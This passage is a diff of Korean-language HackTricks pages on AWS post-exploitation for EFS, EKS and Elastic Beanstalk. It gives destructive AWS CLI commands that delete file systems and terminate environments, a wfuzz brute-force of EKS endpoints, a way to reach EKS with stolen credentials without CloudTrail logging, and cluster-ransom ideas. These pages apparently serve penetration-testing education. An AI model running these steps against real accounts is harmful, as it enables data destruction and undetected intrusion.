b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md deleted file mode 100644 index df9f2d2f6..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ /dev/null @@ -1,46 +0,0 @@ -# AWS - EFS 포스트 익스플로이테이션 - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### `elasticfilesystem:DeleteMountTarget` - -공격자는 마운트 대상을 삭제하여 해당 마운트 대상을 의존하는 애플리케이션과 사용자에 대한 EFS 파일 시스템 접근을 방해할 수 있습니다. -```sql -aws efs delete-mount-target --mount-target-id -``` -**잠재적 영향**: 파일 시스템 접근의 중단 및 사용자 또는 애플리케이션에 대한 잠재적 데이터 손실. - -### `elasticfilesystem:DeleteFileSystem` - -공격자는 전체 EFS 파일 시스템을 삭제할 수 있으며, 이는 데이터 손실로 이어지고 파일 시스템에 의존하는 애플리케이션에 영향을 미칠 수 있습니다. -```perl -aws efs delete-file-system --file-system-id -``` -**잠재적 영향**: 삭제된 파일 시스템을 사용하는 애플리케이션에 대한 데이터 손실 및 서비스 중단. - -### `elasticfilesystem:UpdateFileSystem` - -공격자는 EFS 파일 시스템 속성(예: 처리량 모드)을 업데이트하여 성능에 영향을 주거나 리소스 고갈을 초래할 수 있습니다. -```sql -aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps -``` -**잠재적 영향**: 파일 시스템 성능 저하 또는 리소스 고갈. - -### `elasticfilesystem:CreateAccessPoint` 및 `elasticfilesystem:DeleteAccessPoint` - -공격자는 액세스 포인트를 생성하거나 삭제하여 액세스 제어를 변경하고 잠재적으로 파일 시스템에 대한 무단 액세스를 부여할 수 있습니다. -```arduino -aws efs create-access-point --file-system-id --posix-user --root-directory -aws efs delete-access-point --access-point-id -``` -**잠재적 영향**: 파일 시스템에 대한 무단 접근, 데이터 노출 또는 수정. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md new file mode 100644 index 000000000..e05951968 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md @@ -0,0 +1,46 @@ +# AWS - EFS 사후 활동 + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### `elasticfilesystem:DeleteMountTarget` + +공격자는 mount target을 삭제할 수 있으며, 이는 해당 mount target에 의존하는 애플리케이션과 사용자의 EFS 파일 시스템 접근을 방해할 수 있습니다. +```sql +aws efs delete-mount-target --mount-target-id +``` +**잠재적 영향**: 파일 시스템 접근 중단 및 사용자 또는 애플리케이션의 잠재적 데이터 손실. + +### `elasticfilesystem:DeleteFileSystem` + +공격자는 전체 EFS 파일 시스템을 삭제할 수 있으며, 이는 데이터 손실로 이어지고 해당 파일 시스템에 의존하는 애플리케이션에 영향을 줄 수 있습니다. +```perl +aws efs delete-file-system --file-system-id +``` +**Potential Impact**: 삭제된 파일 시스템을 사용하는 애플리케이션의 데이터 손실 및 서비스 중단. + +### `elasticfilesystem:UpdateFileSystem` + +공격자는 EFS 파일 시스템 속성(예: throughput mode)을 업데이트하여 성능에 영향을 주거나 자원 고갈을 초래할 수 있습니다. +```sql +aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps +``` +**Potential Impact**: 파일 시스템 성능 저하 또는 리소스 고갈. + +### `elasticfilesystem:CreateAccessPoint` 및 `elasticfilesystem:DeleteAccessPoint` + +공격자는 액세스 포인트를 생성하거나 삭제하여 접근 제어를 변경하고, 잠재적으로 자신에게 파일 시스템에 대한 무단 접근 권한을 부여할 수 있습니다. +```arduino +aws efs create-access-point --file-system-id --posix-user --root-directory +aws efs delete-access-point --access-point-id +``` +**Potential Impact**: 파일 시스템에 대한 무단 접근, 데이터 노출 또는 수정. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md deleted file mode 100644 index e144a5a32..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ /dev/null @@ -1,143 +0,0 @@ -# AWS - EKS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EKS - -자세한 내용은 확인하세요 - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### AWS 콘솔에서 클러스터 나열하기 - -**`eks:AccessKubernetesApi`** 권한이 있는 경우 AWS EKS 콘솔을 통해 **Kubernetes 객체를 볼 수 있습니다** ([자세히 알아보기](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). - -### AWS Kubernetes 클러스터에 연결하기 - -- 쉬운 방법: -```bash -# Generate kubeconfig -aws eks update-kubeconfig --name aws-eks-dev -``` -- 그렇게 쉬운 방법은 아닙니다: - -**`aws eks get-token --name `** 명령어로 **토큰을 얻을 수** 있지만 클러스터 정보(describeCluster)를 가져올 권한이 없다면, **자신의 `~/.kube/config`를 준비할 수** 있습니다. 그러나 토큰이 있더라도 **연결할 url 엔드포인트**가 필요합니다(만약 pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요)와 **클러스터 이름**이 필요합니다. - -제 경우에는 CloudWatch 로그에서 정보를 찾지 못했지만, **LaunchTemplates userData**와 **EC2 머신의 userData에서도** 정보를 찾았습니다. 다음 예제에서 쉽게 이 정보를 볼 수 있습니다(클러스터 이름은 cluster-name이었습니다): -```bash -API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com - -/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false -``` -
- -kube config -```yaml -describe-cache-parametersapiVersion: v1 -clusters: -- cluster: -certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== -server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com -name: arn:aws:eks:us-east-1::cluster/ -contexts: -- context: -cluster: arn:aws:eks:us-east-1::cluster/ -user: arn:aws:eks:us-east-1::cluster/ -name: arn:aws:eks:us-east-1::cluster/ -current-context: arn:aws:eks:us-east-1::cluster/ -kind: Config -preferences: {} -users: -- name: arn:aws:eks:us-east-1::cluster/ -user: -exec: -apiVersion: client.authentication.k8s.io/v1beta1 -args: -- --region -- us-west-2 -- --profile -- -- eks -- get-token -- --cluster-name -- -command: aws -env: null -interactiveMode: IfAvailable -provideClusterInfo: false -``` -
- -### AWS에서 Kubernetes로 - -**EKS 클러스터**의 **생성자**는 **항상** 그룹 **`system:masters`** (k8s 관리자)의 kubernetes 클러스터 부분에 접근할 수 있습니다. 이 글을 작성할 당시 **클러스터를 생성한 사람**을 찾는 **직접적인 방법**은 **없습니다** (CloudTrail을 확인할 수 있습니다). 그리고 그 **권한**을 **제거할 방법**도 **없습니다**. - -**더 많은 AWS IAM 사용자 또는 역할에 K8s에 대한 접근을 부여하는 방법**은 **configmap** **`aws-auth`**를 사용하는 것입니다. - -> [!WARNING] -> 따라서, config map **`aws-auth`**에 **쓰기 권한**이 있는 사람은 **전체 클러스터를 손상시킬 수 있습니다**. - -**같은 계정 또는 다른 계정에서 IAM 역할 및 사용자에게 추가 권한을 부여하는 방법**과 이를 **악용하는 방법**에 대한 자세한 정보는 [**privesc 이 페이지를 확인하세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). - -또한 [**이 멋진**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **게시물을 확인하여 IAM -> Kubernetes 인증이 어떻게 작동하는지 알아보세요**. - -### Kubernetes에서 AWS로 - -**Kubernetes 서비스 계정**에 대한 **OpenID 인증**을 허용하여 AWS에서 역할을 맡을 수 있도록 하는 것이 가능합니다. [**이 페이지에서 이 작업이 어떻게 이루어지는지 알아보세요**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). - -### JWT 토큰에서 Api 서버 엔드포인트 가져오기 - -JWT 토큰을 디코딩하면 클러스터 ID와 지역을 얻을 수 있습니다. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URL의 표준 형식이 다음과 같다는 것을 알고 있습니다. -```bash -https://...eks.amazonaws.com -``` -해당 '두 문자'와 '숫자'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제 차원에서 몇 가지 테스트를 해본 결과 다음과 같은 조합이 반복적으로 나타났습니다: - -- gr7 -- yl4 - -어쨌든 단지 3자이므로 이를 브루트포스할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요. -```python -from itertools import product -from string import ascii_lowercase - -letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) -number_combinations = product('0123456789', repeat = 1) - -result = [ -f'{''.join(comb[0])}{comb[1][0]}' -for comb in product(letter_combinations, number_combinations) -] - -with open('out.txt', 'w') as f: -f.write('\n'.join(result)) -``` -그런 다음 wfuzz로 -```bash -wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com -``` -> [!WARNING] -> & 를 교체하는 것을 잊지 마세요. - -### CloudTrail 우회 - -공격자가 **EKS에 대한 권한이 있는 AWS의 자격 증명**을 얻으면, 공격자가 이전에 설명한 대로 **`update-kubeconfig`**를 호출하지 않고 자신의 **`kubeconfig`**를 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 CloudTrail에 로그를 생성하지 않습니다(로컬에서 토큰을 생성할 뿐입니다). - -따라서 공격자가 EKS 클러스터와 대화할 때, **cloudtrail은 도난당한 사용자와 관련된 어떤 것도 기록하지 않을 것입니다**. - -**EKS 클러스터는 이 접근을 기록할 수 있는 로그가 활성화되어 있을 수 있습니다**(기본적으로는 비활성화되어 있습니다). - -### EKS 랜섬? - -기본적으로 **클러스터를 생성한 사용자 또는 역할**은 **항상 클러스터에 대한 관리자 권한을 가집니다**. 그리고 AWS가 Kubernetes 클러스터에 대해 가질 수 있는 유일한 "안전한" 접근입니다. - -따라서, **공격자가 fargate를 사용하여 클러스터를 손상시키고** **다른 모든 관리자를 제거하며** **클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자는 **클러스터를 랜섬할 수 있습니다**~~**. - -> [!TIP] -> 클러스터가 **EC2 VM**을 사용하고 있다면, **노드**에서 관리자 권한을 얻고 클러스터를 복구할 수 있을 가능성이 있습니다. -> -> 실제로 클러스터가 Fargate를 사용하고 있다면 EC2 노드를 사용하거나 모든 것을 EC2로 이동하여 클러스터를 복구하고 노드의 토큰에 접근할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md new file mode 100644 index 000000000..689ddcd9b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -0,0 +1,143 @@ +# AWS - EKS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EKS + +자세한 정보는 다음을 확인하세요 + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### AWS Console에서 클러스터 열거 + +권한 **`eks:AccessKubernetesApi`**가 있으면 AWS EKS console을 통해 **Kubernetes objects**를 볼 수 있습니다 ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). + +### AWS Kubernetes Cluster에 연결 + +- 쉬운 방법: +```bash +# Generate kubeconfig +aws eks update-kubeconfig --name aws-eks-dev +``` +- 그렇게 쉬운 방법은 아님: + +만약 **`aws eks get-token --name `**로 **토큰을 얻을 수 있지만** cluster info (describeCluster)를 조회할 권한이 없다면, **자체 `~/.kube/config`를 준비할 수 있다**. 그러나 토큰을 가지고 있더라도 연결할 **URL 엔드포인트**(pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요)와 **클러스터 이름**이 필요하다. + +제 경우에는 CloudWatch 로그에서는 정보를 찾지 못했지만, **LaunchTemaplates userData에서 찾았고** **EC2 인스턴스의 userData에서도 찾았다**. 이 정보는 **userData**에서 쉽게 확인할 수 있으며, 예를 들어 다음 예제에서(클러스터 이름은 cluster-name이었습니다): +```bash +API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com + +/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false +``` +
+ +kube config +```yaml +describe-cache-parametersapiVersion: v1 +clusters: +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ +contexts: +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ +current-context: arn:aws:eks:us-east-1::cluster/ +kind: Config +preferences: {} +users: +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false +``` +
+ +### Kubernetes에서 AWS로 + +The **creator** of the **EKS cluster** is **항상** kubernetes 클러스터의 **`system:masters`** 그룹(=k8s admin)에 접근할 수 있습니다. 이 문서 작성 시점에는 클러스터를 **누가 생성했는지** 직접 확인할 **방법이 없습니다** (CloudTrail을 확인할 수 있습니다). 그리고 그 **권한을 제거하는 방법도 없습니다**. + +K8s에 대한 접근을 더 많은 AWS IAM 사용자나 역할에게 부여하는 방법은 **configmap** **`aws-auth`** 를 사용하는 것입니다. + +> [!WARNING] +> 그러므로, config map **`aws-auth`**에 대한 **write access** 권한을 가진 누구든지 **compromise the whole cluster**할 수 있습니다. + +For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). + +Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. + +### From Kubernetes to AWS + +It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). + +### GET Api Server Endpoint from a JWT Token + +Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +```bash +https://...eks.amazonaws.com +``` +' two chars'와 'number'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제가 테스트해 본 결과 다음 값들이 반복되는 것을 확인했습니다: + +- gr7 +- yl4 + +어쨌든 3글자에 불과하므로 bruteforce할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요 +```python +from itertools import product +from string import ascii_lowercase + +letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) +number_combinations = product('0123456789', repeat = 1) + +result = [ +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) +] + +with open('out.txt', 'w') as f: +f.write('\n'.join(result)) +``` +그런 다음 wfuzz로 +```bash +wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com +``` +> [!WARNING] +> 교체해야 할 것을 기억하세요 & . + +### CloudTrail 우회 + +공격자가 AWS에서 **EKS에 대한 권한을 가진** 자격증명을 획득한 경우, 공격자가 이전에 설명한 것처럼 자신의 **`kubeconfig`**를 (**`update-kubeconfig`**를 호출하지 않고) 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 Cloudtrail에 로그를 남기지 않습니다(로컬에서 토큰만 생성함). + +따라서 공격자가 EKS 클러스터와 통신할 때, **cloudtrail은 도용된 사용자가 접근한 것과 관련된 어떤 것도 로그로 남기지 않습니다**. + +참고로 **EKS 클러스터에 로그가 활성화되어 있을 수 있으며** 이 접근을 기록할 수 있습니다(기본적으로는 비활성화되어 있습니다). + +### EKS 랜섬? + +기본적으로 클러스터를 생성한 **사용자 또는 역할(user or role)**은 클러스터에 대해 **항상 관리자(admin) 권한을 갖습니다**. 그리고 그것이 AWS가 Kubernetes 클러스터에 대해 갖는 유일한 "보안된" 접근 방식입니다. + +따라서, 만약 **공격자가 fargate를 사용해 클러스터를 침해**하고 **다른 모든 관리자들을 제거**하고 d**클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자가 **클러스터를 몸값으로 삼았을**~~**수 있다**. + +> [!TIP] +> 클러스터가 **EC2 VMs**를 사용 중이었다면 **Node**에서 관리자 권한을 획득해 클러스터를 복구할 수 있을 가능성이 있습니다. +> +> 사실, 클러스터가 Fargate를 사용 중이라면 EC2 노드를 만들거나 모든 것을 EC2로 옮겨 노드의 토큰에 접근해 복구할 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md deleted file mode 100644 index c0f53b612..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ /dev/null @@ -1,70 +0,0 @@ -# AWS - Elastic Beanstalk Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -자세한 정보: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### `elasticbeanstalk:DeleteApplicationVersion` - -> [!NOTE] -> TODO: 더 많은 권한이 필요한지 테스트하기 - -`elasticbeanstalk:DeleteApplicationVersion` 권한을 가진 공격자는 **기존 애플리케이션 버전을 삭제**할 수 있습니다. 이 작업은 애플리케이션 배포 파이프라인을 방해하거나 특정 애플리케이션 버전이 백업되지 않은 경우 손실을 초래할 수 있습니다. -```bash -aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version -``` -**잠재적 영향**: 애플리케이션 배포 중단 및 애플리케이션 버전 손실 가능성. - -### `elasticbeanstalk:TerminateEnvironment` - -> [!NOTE] -> TODO: 이 작업에 더 많은 권한이 필요한지 테스트 - -`elasticbeanstalk:TerminateEnvironment` 권한을 가진 공격자는 **기존 Elastic Beanstalk 환경을 종료**할 수 있으며, 이로 인해 애플리케이션의 다운타임이 발생하고 환경이 백업을 위해 구성되지 않은 경우 데이터 손실이 발생할 수 있습니다. -```bash -aws elasticbeanstalk terminate-environment --environment-name my-existing-env -``` -**잠재적 영향**: 애플리케이션의 다운타임, 잠재적인 데이터 손실, 서비스 중단. - -### `elasticbeanstalk:DeleteApplication` - -> [!NOTE] -> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기 - -`elasticbeanstalk:DeleteApplication` 권한을 가진 공격자는 **전체 Elastic Beanstalk 애플리케이션을 삭제**할 수 있으며, 모든 버전과 환경이 포함됩니다. 이 작업은 백업되지 않은 경우 애플리케이션 리소스와 구성의 상당한 손실을 초래할 수 있습니다. -```bash -aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force -``` -**잠재적 영향**: 애플리케이션 리소스, 구성, 환경 및 애플리케이션 버전의 손실로 인해 서비스 중단 및 잠재적인 데이터 손실이 발생할 수 있습니다. - -### `elasticbeanstalk:SwapEnvironmentCNAMEs` - -> [!NOTE] -> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하십시오. - -`elasticbeanstalk:SwapEnvironmentCNAMEs` 권한을 가진 공격자는 **두 개의 Elastic Beanstalk 환경의 CNAME 레코드를 교환**할 수 있으며, 이로 인해 잘못된 버전의 애플리케이션이 사용자에게 제공되거나 의도하지 않은 동작이 발생할 수 있습니다. -```bash -aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 -``` -**잠재적 영향**: 잘못된 버전의 애플리케이션을 사용자에게 제공하거나 환경이 바뀌어 애플리케이션에서 의도하지 않은 동작을 유발할 수 있습니다. - -### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` - -> [!NOTE] -> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기 - -`elasticbeanstalk:AddTags` 및 `elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거**할 수 있습니다. 이 작업은 잘못된 리소스 할당, 청구 또는 리소스 관리로 이어질 수 있습니다. -```bash -aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 - -aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag -``` -**잠재적 영향**: 추가되거나 제거된 태그로 인한 잘못된 리소스 할당, 청구 또는 리소스 관리. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md new file mode 100644 index 000000000..ed3830b80 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md @@ -0,0 +1,70 @@ +# AWS - Elastic Beanstalk Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +자세한 정보: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### `elasticbeanstalk:DeleteApplicationVersion` + +> [!NOTE] +> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하세요 + +`elasticbeanstalk:DeleteApplicationVersion` 권한을 가진 공격자는 **기존 애플리케이션 버전을 삭제할 수 있습니다**. 이 작업은 애플리케이션 배포 파이프라인을 중단시키거나 백업이 없을 경우 특정 애플리케이션 버전의 손실을 초래할 수 있습니다. +```bash +aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version +``` +**잠재적 영향**: 애플리케이션 배포 중단 및 애플리케이션 버전 손실 가능성. + +### `elasticbeanstalk:TerminateEnvironment` + +> 